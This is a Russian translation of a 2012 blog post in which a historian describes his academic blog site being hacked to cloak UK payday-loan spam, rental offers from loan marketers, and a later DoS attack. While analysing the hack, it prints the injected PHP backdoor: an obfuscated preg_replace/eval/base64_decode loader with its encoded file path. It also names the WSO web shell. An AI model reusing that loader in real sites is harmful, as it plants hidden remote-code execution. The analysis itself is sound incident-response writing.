Повесть об истории Восточной Азии, британских кредитных акулах и русских хакерах

Перевод статьи Конрада М. Лоусона (Konrad M. Lawson), опубликованной в его блоге muninn.net (5 июня 2012 г.)

Несколько недель назад телефонный звонок разбудил меня в полседьмого утра: «Я хочу купить ваш домен froginawell.net. за 500 долларов, что вы мне на это скажете?»

Инстинктивно я попытался сделать свой голос таким, чтобы собеседник не понял, что вытянул меня из глубокого сна. Он говорил еще что-то, перед тем как я услышал предложение продать домен, но мое полусонное сознание не смогло сохранить начало разговора.

Лягушка в колодце (Frog in a Well) – это сайт, который я создал в 2004 году для поддержки нескольких академических блогов по истории Восточной Азии, авторами которых являлись профессора и аспиранты. Так как много времени уходило на завершение PhD диссертации, я почти ничего не публиковал там, но некоторые из моих коллег довольно активно размещали новые материалы в своих блогах. Так как мы накопили большое количество статей по широкому набору тем, касающихся истории Восточной Азии, сайт привлекал неплохой трафик, особенно много людей заходило на него с Google по запросам «секс в древнем Китае» и «Маньчжурская повязка на ноги». Я думаю, что именно эти посетители не находили тут то, что искали. Наш сайт был полностью свободен от рекламы, и я твердо намеревался сохранить его таковым.

Поэтому я отказал позвонившему джентльмену и вернулся к своему сну. По приходу в офис, я обнаружил электронное письмо от того же человека, назовем его Саймон. В нем он делал точно такое же предложение, какое я услышал накануне по телефону. Я ответил на это письмо, объяснив, что не имею никакого желания продавать свое доменное имя.

Неделей позже пришло новое письмо от Саймона. На этот раз он предложил арендовать мой домен. «Похоже, что кто-то пытается взломать вас, обратите внимание на свою домашнюю страницу. Так или иначе, вы хорошо ранжируетесь по моему поисковому запросу, поэтому мне очень нужно получить вашу домашнюю страницу в аренду. Я увеличиваю свою ставку до 150 долларов в день».

150 долларов в день? За один поисковый запрос? Какой такой ключ может дать ему моя Лягушка в колодце? Из адреса его электронной почты можно было понять, что этот человек работает в британской компании, занимающейся солнечной энергетикой. Сайт компании выглядел вполне благопристойно, и продавал «по разумной цене» наборы оборудования для снабжения частных домов электроэнергией, получаемой с помощью солнечных батарей. Я попытался найти разумное объяснение того, зачем этой компании мог понадобиться домен froginawell.net, но все старания были тщетны. Я перерыл весь сайт в поисках хоть какого-нибудь упоминания о солнечной энергии или батареях. Ничего такого. Но и спрашивать его об этом я не стал, так как не хотел давать лишний повод для надежды.

Что же касается взлома, то это бывало и раньше. Несколько раз я мешкал с обновлением WordPress и по этой причине наши блоги подвергались тому, что называют «фарма-хак». При таком коварном взломе, на первый взгляд, сайт остается прежним, но посетители с Google видят совершенно другой контент. Каждая публикация в блогах превращаются в рекламу всевозможных препаратов, которые можно заказать онлайн прямо с нашего сайта. Мы знаем, насколько трудно отследить подобные вещи, поскольку мастерство хакеров с каждым днем совершенствуется, и они прячут свой код глубоко в дереве каталогов WordPress или в самых неожиданных местах вашей базы данных.

На этот раз, однако, я не нашел ничего похожего на фарма-хак. Вместо этого, файл домашней страницы froginawell.net получил расширение .php вместо .html, что позволяло запускать на нем какой-нибудь код. В начале файла появилось несколько новых строк с одной командой и кучей какой-то белиберды. В тот момент у меня не было времени разобраться в этом подробнее. Я как раз пытался завершить предпоследнюю главу своей диссертации. Вставленные строки были удалены, расширение файла возвращено к .html, пароль изменен, блог о Китае восстановлен из резервной копии (он явно был взломан), а в службу поддержки хостинга было отправлено письмо с просьбой о помощи в решении проблем с безопасностью. Хостинг-провайдер ответил, что он с радостью поможет мне, если я стану платить почти вдвое больше по сравнению с настоящим тарифом – это позволит мне воспользоваться новым сервисом обеспечения безопасности. В противном случае, я должен решать подобные проблемы самостоятельно.

Насколько это было в моих силах, я произвел зачистку на сайте и ответил Саймону: «Предложение очень щедрое, но я пас. Мною было принято решение не размещать на проекте рекламу».

Саймон ответил в тот же день. Он все еще видит ссылку на мою взломанную страницу в Google. Я стал искать свою Лягушку в колодце в Google, но никак не мог увидеть то, о чем он говорит и решил, что мой собеседник видит ссылку на какую-то старую страницу, сохраненную в кэше поисковика с тех пор, когда сайт был взломан. Саймон написал мне:

«А вы понимаете, почему ваш сайт вдруг начинают взламывать? Потому что сейчас он имеет высокий потенциал для зарабатывания денег. Я был бы признателен, если вы назовете свою цену. Все имеет ее. И я не хочу, чтобы мы оба упустили прекрасную возможность. Я готов увеличить ежедневную плату, если мы сможем заключить сделку. Как насчет 250 долларов в день. Если для вас деньги не имеют значения, то вы могли бы жертвовать 250 долларов на благотворительность».

Двести пятьдесят долларов в день? Это становилось совершенно невероятным, и мои подозрения усиливались с каждым днем. Я как раз отправился в путешествие на выходные, выпавшие на День памяти павших (30 мая). Если предложение было серьезным, и я превращу домашнюю страницу своей Лягушки в колодце в чью-то рекламу, то это не принесет мне радости, а кроме того, все кажется слишком подозрительным. Я отказал ему, и написал, что считаю этот вопрос закрытым. Я не хочу видеть рекламу на этом сайте, ни за какие деньги».

Саймон написал мне в последний раз:

«Будучи бизнесменом, мне часто приходится переубеждать людей в том, что любой предмет, становящийся бизнес-активом, может быть продан за определенную цену. Тем не менее, я уважаю ваше решение, и не буду вас больше беспокоить. Это письмо будет последним. Но я сделаю еще одну ставку, прежде чем оставлю вас в покое, как вы того и хотите. 500 долларов в день и авансовая оплата. Это практически 200 000 долларов в год».

Он был явно озадачен моим отказом и нежеланием вести себя, как рациональный в финансовых вопросах человек. Я хорошо понимаю его растерянность. Ведь моему собеседнику не часто приходилось иметь дело со студентами-социалистами. Я ответил Саймону одной строкой, отвергнув предложение, но пожелав удачи в делах, которые, «как я полагаю, связаны с компанией, занимающейся солнечной энергетикой».

Когда я вернулся домой, то решил разобраться с двумя загадками:

1) Что увидел Саймон, когда обнаружил мою Лягушку в колодце в Google во взломанном состоянии.

2) С какой стати Саймон хотел заплатить за домен от 500 долларов за один раз до 500 долларов в день?

Первое, что мне удалось обнаружить: сайт по-прежнему находится под угрозой. Хакеры снова внесли изменения в его домашнюю страницу, превратив ее в файл .php и добавив в первые строки команду, содержащую какой-то бред. Этот бэкдор не затаился, как я полагал, в прежней версии блога о Китае, который был восстановлен, а располагался где-то в другом месте. Мне предстояло выполнить обратный инжиниринг взлома.

Анатомия взлома

Хакеры добавляли в верхние строчки моей домашней страницы команду «preg_replace», которая в PHP позволяет искать определенное сочетание символов и заменять их на другой текст.

preg_replace(«[то, что следует искать]», «[на что это надо заменить]», «[текст для поиска]»)

Но конкретная команда для меня была загадкой и каким-то бредом вроде «\x65\166\x61\154». На самом деле, этот текст был постоянно меняющейся смесью двух различных форматов ASCII – десятичного и шестнадцатеричного. Для PHP это не обычные цифры, так как впереди стоит знак обратного слэша «\», а если за ним следует знак «х» – это указывает на шестнадцатеричную систему исчисления. Вы можете сами расшифровать подобное с помощью таблицы. В приведенном примере написано «eval».

Для людей, подобных мне, такой прием чрезвычайно мешает увидеть суть, но это не мешает коду без проблем выполняться на компьютере. Мне надо было перевести этот бред в привычные символы. Для этого я использовал python. На своем Mac я открыл терминал, набрал «python», а затем вывел на печать весь этот бред в блоках ASCII:

print(«[поместите сюда бред]»)

В результате я увидел следующую команду:

Искать: |(.*)|ei

Заменять на: eval(‘$kgv=89483;’.base64_decode(implode("\n",file(base64_decode("\1")))));$kgv=89483;

В тексте: L2hvbWUvZnJvZ2kyL3B1YmxpY19odG1sL2tvcmVhL3dwLWluY2x1ZGVzL2pzL2Nyb3AvbG9nLy4lODI4RSUwMDEzJUI4RjMlQkMxQiVCMjJCJTRGNTc=

Уже что-то. Но что это за новый бред в конце? Данный текст зашифрован с использованием метода кодирования Base64. Если у вас есть файл, закодированный в Base64, то под Mac OS X или Linux его можно расшифровать с помощью команды:

base64 -i закодированный-текст.txt -o результат-расшифровки.txt

Можно также раскодировать base64 в Python, PHP, Ruby и т.п. или с помощью одного из специализированных веб-сервисов. Расшифровав тот текст, я узнал расположение файла, содержащего дополнительные команды:

[…]public_html/korea/wp-includes/js/crop/log/.%828E%0013%B8F3%BC1B%B22B%4F57

И он был не одинок. Тут были десятки файлов, включая текст для изменения содержимого домашней страницы. Код, вставленный в начало моей домашней страницы, запускал другую скрытую команду, запрятанную глубоко в иерархии папок блога о Корее. И даже эти имена файлов и их содержимое было зашифровано с помощью различных методов, включая base64, md5, буквы переведены в числа, между ними вставлены случайные цифры, а часть содержимого сохранена в формате JSON. Я не стал разбираться в подробностях, но все было похоже на то, что домашняя страница менялась только для Google и только при определенных обстоятельствах.

Один из взломанных файлов создавал версию сайта speedypaydayloan.co.uk, предназначенного для аферы с краткосрочными кредитами в Великобритании. Он связан с подложной лондонской компанией «D and D Marketing», обсуждения которой можно найти на различных форумах, посвященных мошенничеству. Другими словами, только те пользователи, которые приходили с Google, и только из Великобритании, и только по запросу «краткосрочный кредит», вместо Лягушки в колодце, видели взломанную страницу или перенаправлялись на один из тех мошеннических сайтов, зашифрованный список которых я нашел в одной из своих папок.

Однако вскоре я обнаружил, что подозрительные файлы находились не только в блоге о Корее. Тут были только те файлы, которые позволяли хакерам получить желаемый результат. После дополнительной работы по расшифровке запутанного кода, я смог раскрыть всю систему. Для развертывания комбинации перенаправлений и клоакинга, атакующий использовал настоящую мечту хакера: нечто, называемое «WSO 2.5». Он смог воспользоваться уязвимостью старой версии WordPress и установил WSO в одно из укромных мест на сайте, отдельно от вышеописанного взлома. Пока этот видеоролик (без звука) не удалят с Youtube, вы можете увидеть, каким образом хакеры используют WSO. Понятный код PHP, который хакер использовал для установки этой бэкдор-системы, управляющей моим сервером можно увидеть здесь.

Саймон и его друзья

А как все это связано с нашим другом Саймоном и его компанией, занимающейся солнечной энергетикой? Инструменты для вебмастеров Google показали, что одним из основных поисковых запросов, по которому пользователи попадали на Лягушку в колодце, являлся «краткосрочные кредиты». Ранжирование сайта по этой ключевой фразе резко выросло чуть больше месяца назад, когда и произошел описанный взлом. В результате, по этому запросу сайт имел сотни тысяч заходов. Что то же заставило так высоко взлететь мой взломанный сайт?

В одном из своих писем Саймон писал, что занимается разными вещами, а это значит, что он работает не только на компанию, продающую солнечные батареи. Разобравшись с тем, как выглядел мой взломанный сайт, я ввел в поисковую строку полное имя Саймона и «кредиты Великобритания». Мне удалось его найти (я даже узнал, где он живет), так как на имя Саймона был зарегистрирован целый набор доменных имен, и, по крайней мере, одно из них не было продлено. Среди них был и сайт выдачи краткосрочных кредитов, и ресурс, позволяющий взять кредит по телефону, и сервис по оформлению кредитов на дому, и ряд других финансовых учреждений, которые, кажется, больше не функционировали, а также другие компании, занимающиеся альтернативными источниками энергии. Логично предположить, что Саймона интересовал поисковый запрос «краткосрочный кредит», и он увидел способ сделать быстрые деньги за счет рекламы подложной финансовой компании с помощью моей Лягушки в колодце. Был ли он честен, говоря о такой высокой оплате? Как он собирался окупить такие затраты? Знал ли он, что такое ранжирование в Google, вероятно, является временным, и произошло из-за серьезного взлома сайта?

Предложение Саймона в 500 долларов не было последним. Я удалил все файлы хакеров, установил дополнительные средства защиты, изменил пароли и начал следить за обращениями к моим файлам на сервере. В Инструментах для веб-мастеров Google я попросил пересмотреть ранжирование моего веб-сайта, в результате он должен был исчезнуть из бизнеса краткосрочных кредитов в Великобритании. Но предложения продолжали поступать.

Люк, один из конкурентов Саймона (я снова изменил имя), написал мне очень вежливое письмо с предложением, которое подтверждало то, что я обнаружил, разбираясь в файлах на своем сайте:

«Возможно, вы не знаете, но ваш сайт был взломан русскими хакерами, пытающимися заработать на партнерской программе, делающей деньги на поисковых запросах «краткосрочные кредиты» в Великобритании… По грубым оценкам, размещение ссылки в данном месте приносит около 10 тысяч долларов в неделю. Этот хакер является конкурентом нашей большой компании, работающей в Великобритании, и мы хотим остановить его. Вы могли бы помочь нам в этом, заменив ссылку на своем сайте, за что будете получать еженедельные отчисления…»

Он объяснил, что это «разумный подход», но «весьма противозаконный». Я вежливо отклонил его предложение.

Не успел я вычистить свой сайт от результатов работы хакеров, как он попал под DoS-атаку (отказ в обслуживании). Три блога на Лягушке в колодце были атакованы десятком зомби-ботов, расположенных в различных уголках мира и пытающихся загрузить домашнюю страницу каждого из них 48 тысяч раз в течение 10 минут. Хостинг-провайдер тут же приостановил мой аккаунт из-за чрезмерной нагрузки на сервер. Он предложил перейти на выделенный сервер, стоимость аренды которого примерно в 10 раз превышала мои текущие затраты на хостинг. Следует сказать, что я переехал на новый хостинг лишь год назад. Предыдущий хостинг вежливо отказал в дальнейшем обслуживании после того, как наши блоги подверглись DoS-атаке, преимущественно из Китая. Текущий провайдер был более любезен и восстановил сайт через день после того, как проследил за развитием ситуации, но не стал ничего предпринимать для предотвращения атак, длящихся всего несколько минут, в течение которых несколько ботов снова делали сайт полностью неработоспособным. Возникло тревожное чувство беспомощности перед огромными деньгами – деньгами, которые я не собирался зарабатывать, войдя в бизнес краткосрочных кредитов.

К этому цирку добавилось несколько новых клоунов. В течение нескольких часов ко мне обратился ряд компаний, занимающихся сетевой безопасностью, и предложили организовать защиту против DoS-атак. Как же они узнали, что сайт подвергался именно DoS, а не стал недоступен по какой-то другой причине?

Еще несколькими днями позже другой человек, занимающийся краткосрочными кредитами, назовем его Грантом, связался со мной через Twitter. Он объяснил, что «русские парни», которые, как он полагает, взломали мой сайт, «не поплатятся за свое преступление» в силу своего места жительства, а также предложил «извлечь выгоду из этой ситуации», разделив пополам доходы, которые он получит, разместив на моем сайте свою ссылку.

«Я буду делать ежедневные выплаты, в зависимости от того, какой доход будет давать эта ссылка, через Paypal или банковскими переводами. Насколько можно судить, в том случае, если я попаду на первое место, ежедневный доход может составить приблизительно 15 тысяч фунтов в день. Я вижу, что позиции вашего сайта в выдаче колеблются, поэтому не могу точно оценить, сколько можно заработать… Я полагаю, что в день это будет четырехзначная сумма, но не могу дать уверенную гарантию».

Я отказал и ему, объяснив, что этот результат был получен в результате взлома сайта. Прошло еще какое-то время, прежде чем это отразилось в поисковой выдаче Google. В ответ на мой вопрос, не известно ли ему еще что-нибудь о взломе моего сайта, Грант любезно направил мне длинный список других сайтов, которые были взломаны тем же хакером, но их роль в этой игре состояла в создании ссылок, указывающих на Лягушку в колодце с анкорным текстом «краткосрочный кредит». Поэтому Google так резко и увеличил мое ранжирование. Люк предположил, что этот прием сработал, так как Лягушка в колодце для Google является довольно трастовым сайтом. Грант (пославший мне письмо прямо с пляжа и сказавший, что это самое лучшее место для человека, имеющего тысячи фунтов в день на подобных вещах) также снабдил меня полудюжиной других сайтов, которые прямо в тот момент подвергались аналогичной атаке, целью которой было установить клоаку и перенаправление. Он предположил, что DoS-атаке меня подверг один из его конкурентов, который вместо того, чтобы предложить сотрудничество, решил без особых затрат просто выкинуть меня из интернета.

Надеюсь, что мои злоключения скоро закончатся, но теперь я буду пристальнее следить за своим сервером. Что касается Гранта, Люка и Саймона, а также их русских соперников, то они продолжают свою работу. В своем последнем письме Грант также сообщил, что «сайт одной американской радиостанции получил в google.uk высокое ранжирование по запросу [краткосрочный кредит], поэтому теперь ему предстоит еще более серьезная работа, чтобы разобраться с этим».

Перевод Александра Никитина

Журналист, новостной редактор, работает на сайте с 2009 года. Специализация: интернет-маркетинг, SEO, поисковые системы, обзоры профильных мероприятий, отраслевые новости рунета. Языки: румынский, испанский. Кредо: Арфы нет, возьмите бубен.